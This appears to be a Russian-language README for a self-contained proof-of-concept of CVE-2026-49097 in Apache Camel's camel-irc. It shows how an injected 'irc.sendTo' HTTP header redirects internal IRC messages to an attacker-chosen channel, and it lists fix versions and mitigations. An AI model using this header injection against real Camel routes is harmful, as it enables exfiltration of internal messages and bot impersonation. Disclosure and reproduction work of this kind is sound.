oscerd/cve-2026-49097PoC-репродуктор для CVE-2026-49097 (Apache Camel camel-irc): заголовок irc.sendTo без префикса Camel обходит фильтр HTTP-заголовков и переопределяет настроенный канал производителя, перенаправляя IRC-сообщение на выбранный атакующим адрес. Исправлено в 4.14.8/4.18.3/4.21.0.
Этот проект демонстрирует инъекцию в заголовок сообщения в компоненте camel-irc Apache Camel, отслеживаемую как CVE-2026-49097. IrcProducer читает заголовок irc.sendTo, чтобы выбрать назначение исходящего IRC-сообщения; при его наличии он переопределяет настроенный список каналов конечной точки:
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class); // "irc.sendTo"
...
} else if (sendTo != null) {
connection.doPrivmsg(sendTo, msg); // attacker-chosen destination
} else {
for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
connection.doPrivmsg(channel.getName(), msg); // the intended, configured channel(s)
}
}
Константа заголовка IRC_SEND_TO имеет простое значение . Поскольку она не начинается с префикса / , — который блокирует только пространство имён заголовков Camel на HTTP-границе — пропускает её из входящего HTTP-запроса напрямую в Exchange.
irc.sendToCamelcamelHttpHeaderFilterStrategyПоэтому в маршруте, который связывает HTTP-потребитель (например, platform-http) с производителем irc:, любой HTTP-клиент может указать irc.sendTo и перенаправить сообщение на произвольный IRC-канал или ник, эксфильтруя содержимое, предназначенное для внутреннего канала, в контролируемое атакующим место либо выдавая себя за бота в другом канале. В том же исправлении были переименованы ещё девять констант irc.*; irc.sendTo — непосредственно эксплуатируемая из них.
Этот PoC демонстрирует воздействие как перенаправление сообщения / раскрытие информации (CWE-20 → CWE-74).
| Свойство | Значение |
|---|---|
| Компонент | camel-irc |
| Затронутый класс | org.apache.camel.component.irc.IrcProducer, читающий IrcConstants.IRC_SEND_TO ("irc.sendTo") |
| CWE | CWE-20 (некорректная проверка входных данных) / CWE-74 (инъекция) |
| Воздействие | Перенаправление исходящего IRC-сообщения на выбранный атакующим канал/ник (эксфильтрация, имитация) |
| Предусловия | Маршрут связывает HTTP-потребитель с производителем irc:; без аутентификации, когда потребитель |
| Затронутые версии | С 4.0.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0 |
| Исправленные версии | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23629 (PR apache/camel#23594) |
| Автор | Yu Bao (PayPal) |
Исправление переименовывает десять констант заголовков
irc.*в соответствии с соглашениемCamelIrc*(например,irc.sendTo→CamelIrcSendTo), поэтому на HTTP-границе они фильтруются, как и любой другой управляющий заголовок Camel. Та же группа, что и CVE-2025-27636, CVE-2026-46454 и CVE-2026-48206. Примечание:camel-ircустарел начиная с 4.21.0.
Уязвимость целиком находится в выборе назначения в IrcProducer; IRC-сокет — это лишь транспорт. Этот репродуктор запускает настоящий IrcProducer и настоящий класс IRCConnection из irclib; от последнего создан подкласс, переопределяющий send(...) (через который проходят все команды do*, включая doPrivmsg) так, что он записывает цель PRIVMSG вместо записи в сокет. Крошечный пользовательский компонент irc выдаёт это записывающее соединение. Связь с IRC-сетью не устанавливается.
from("platform-http:/notify")
.to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");
Конечная точка «notify», которая пересылает в фиксированный внутренний канал #alerts. В HTTP API нет параметра назначения — автор предполагает, что клиент не может выбирать канал. Атакующий задаёт irc.sendTo, и бот публикует сообщение в канал по выбору атакующего.
CVE-2026-49097/
├── pom.xml # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── RecordingIRCConnection.java # real IRCConnection subclass; records PRIVMSG targets, no socket
│ ├── RecordingIrcComponent.java # hands out the recording connection
│ ├── IrcComponentConfig.java # registers it under the 'irc' scheme
│ ├── IrcRecorder.java # captures the last delivered target + text
│ ├── VictimRoute.java # platform-http:/notify -> irc:...#alerts
│ └── ExploitController.java # attacker: injects irc.sendTo=#exfil-channel
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===
Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)
1) Legitimate POST /notify (no irc.sendTo header)
IRC message delivered to: #alerts
text: Revenue report Q3: $4.2M (internal distribution only)
2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
IRC message delivered to: #exfil-channel
text: Revenue report Q3: $4.2M (internal distribution only)
>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true
Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629). После обновления маршруты, задающие назначение IRC через заголовок, должны использовать имя CamelIrcSendTo. Обратите внимание: camel-irc устарел начиная с 4.21.0.
До обновления удаляйте управляющие заголовки camel-irc из любого недоверенного входящего трафика перед производителем irc: (например, removeHeaders("irc.*")) и задавайте назначение из доверенного источника.
Этот репродуктор предоставляется только для исследований в области безопасности и авторизованного тестирования в отношении публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.